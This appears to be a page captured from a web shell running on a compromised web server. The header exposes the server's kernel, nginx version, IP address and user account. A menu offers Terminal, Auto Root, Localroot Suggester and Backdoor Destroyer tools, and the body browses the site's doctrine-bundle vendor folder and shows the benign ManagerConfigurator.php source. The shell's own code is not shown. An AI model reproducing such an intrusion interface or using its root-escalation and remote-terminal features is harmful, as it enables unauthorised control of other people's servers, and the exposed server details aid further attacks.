Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.147.67.34
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
doctrine /
doctrine-bundle /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
CacheWarmer
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Command
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Controller
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
DataCollector
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Dbal
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
DependencyInjection
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
EventSubscriber
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Mapping
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Middleware
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Orm
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Repository
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Resources
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
Twig
[ DIR ]
drwxrwxr-x
2022-06-10 10:55
.doctrine-project.json
2.35
KB
-rw-rw-r--
2022-06-10 10:55
.symfony.bundle.yaml
147
B
-rw-rw-r--
2022-06-10 10:55
ConnectionFactory.php
7.25
KB
-rw-rw-r--
2022-06-10 10:55
DoctrineBundle.php
6.72
KB
-rw-rw-r--
2022-06-10 10:55
LICENSE
1.05
KB
-rw-rw-r--
2022-06-10 10:55
ManagerConfigurator.php
1.84
KB
-rw-rw-r--
2022-06-10 10:55
README.md
1.54
KB
-rw-rw-r--
2022-06-10 10:55
Registry.php
2.42
KB
-rw-rw-r--
2022-06-10 10:55
UPGRADE-1.11.md
1.07
KB
-rw-rw-r--
2022-06-10 10:55
UPGRADE-1.12.md
2.44
KB
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.0.md
3.74
KB
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.1.md
2.36
KB
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.2.md
530
B
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.3.md
774
B
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.4.md
402
B
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.5.md
147
B
-rw-rw-r--
2022-06-10 10:55
UPGRADE-2.6.md
154
B
-rw-rw-r--
2022-06-10 10:55
UPGRADE-3.0.md
152
B
-rw-rw-r--
2022-06-10 10:55
composer.json
2.94
KB
-rw-rw-r--
2022-06-10 10:55
phpcs.xml.dist
1.27
KB
-rw-rw-r--
2022-06-10 10:55
psalm.xml.dist
2.25
KB
-rw-rw-r--
2022-06-10 10:55
Save
Rename
<?php namespace Doctrine\Bundle\DoctrineBundle; use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\Query\Filter\SQLFilter; /** * Configurator for an EntityManager */ class ManagerConfigurator { /** @var string[] */ private $enabledFilters = []; /** @var array<string,array<string,string>> */ private $filtersParameters = []; /** * @param string[] $enabledFilters * @param array<string,array<string,string>> $filtersParameters */ public function __construct(array $enabledFilters, array $filtersParameters) { $this->enabledFilters = $enabledFilters; $this->filtersParameters = $filtersParameters; } /** * Create a connection by name. */ public function configure(EntityManagerInterface $entityManager) { $this->enableFilters($entityManager); } /** * Enables filters for a given entity manager */ private function enableFilters(EntityManagerInterface $entityManager): void { if (empty($this->enabledFilters)) { return; } $filterCollection = $entityManager->getFilters(); foreach ($this->enabledFilters as $filter) { $filterObject = $filterCollection->enable($filter); if ($filterObject === null) { continue; } $this->setFilterParameters($filter, $filterObject); } } /** * Sets default parameters for a given filter */ private function setFilterParameters(string $name, SQLFilter $filter): void { if (empty($this->filtersParameters[$name])) { return; } $parameters = $this->filtersParameters[$name]; foreach ($parameters as $paramName => $paramValue) { $filter->setParameter($paramName, $paramValue); } } }